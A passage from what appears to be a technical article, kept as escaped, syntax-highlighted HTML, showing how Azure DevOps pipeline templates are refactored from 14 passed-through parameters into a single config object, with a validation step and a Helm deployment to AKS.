style=\"color:#ae81ff\"\u003eaksCluster\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaks-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaksNamespace\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edefault\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ereplicaCount\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enumber\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecacheEnabled\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapprovalRequired\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enotificationEmail\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentRegion\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployTimeout\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enumber\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehealthCheckPath\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/health\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erollbackOnFailure\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erelease-stages.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.containerRegistry }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.imageTag }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eaksCluster\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.aksCluster }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eaksNamespace\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.aksNamespace }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.replicaCount }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecacheEnabled\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.cacheEnabled }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.approvalRequired }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003enotificationEmail\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.notificationEmail }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeploymentRegion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.deploymentRegion }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployTimeout\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.deployTimeout }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ehealthCheckPath\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.healthCheckPath }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erollbackOnFailure\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.rollbackOnFailure }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003erelease-stages.yml\u003c/code\u003e, \u003ccode\u003edeployment-stage.yml\u003c/code\u003e, and \u003ccode\u003edeployment-job.yml\u003c/code\u003e all replicate the same 14 declarations and 14 pass-throughs. That is 56 declarations across intermediate files — all overhead.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAfter state — \u003ccode\u003epipeline.yml\u003c/code\u003e:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — AFTER: 2 parameters\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eaksCluster\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaks-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eaksNamespace\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edefault\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecacheEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003enotificationEmail\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeploymentRegion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployTimeout\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ehealthCheckPath\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/health\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erollbackOnFailure\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erelease-stages.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eAfter state — each intermediate layer (\u003ccode\u003erelease-stages.yml\u003c/code\u003e, \u003ccode\u003edeployment-stage.yml\u003c/code\u003e, \u003ccode\u003edeployment-job.yml\u003c/code\u003e):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# release-stages.yml — AFTER: 2 parameters, passes 2 parameters\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRelease\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployment-stage.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe three intermediate layers collapse to an identical 2-parameter pattern. Only \u003ccode\u003edeployment-steps.yml\u003c/code\u003e changes substantively: it replaces 14 individual parameter reads with 14 \u003ccode\u003eparameters.config.*\u003c/code\u003e reads, and gains a validation block at the top:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# deployment-steps.yml — AFTER: reads from config object, validates at top\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if not(parameters.serviceConnection) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.logissue type=error]serviceConnection is required.\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName: \u0026#39;ERROR\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMissing required serviceConnection\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eHelmDeploy@0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to AKS\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econnectionType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzure Resource Manager\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eazureSubscriptionEndpoint\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eazureResourceGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-${{ parameters.config.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ekubernetesCluster\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.aksCluster }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003enamespace\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.aksNamespace }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eupgrade\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003echartType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eFilePath\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003echartPath\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./charts/myapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 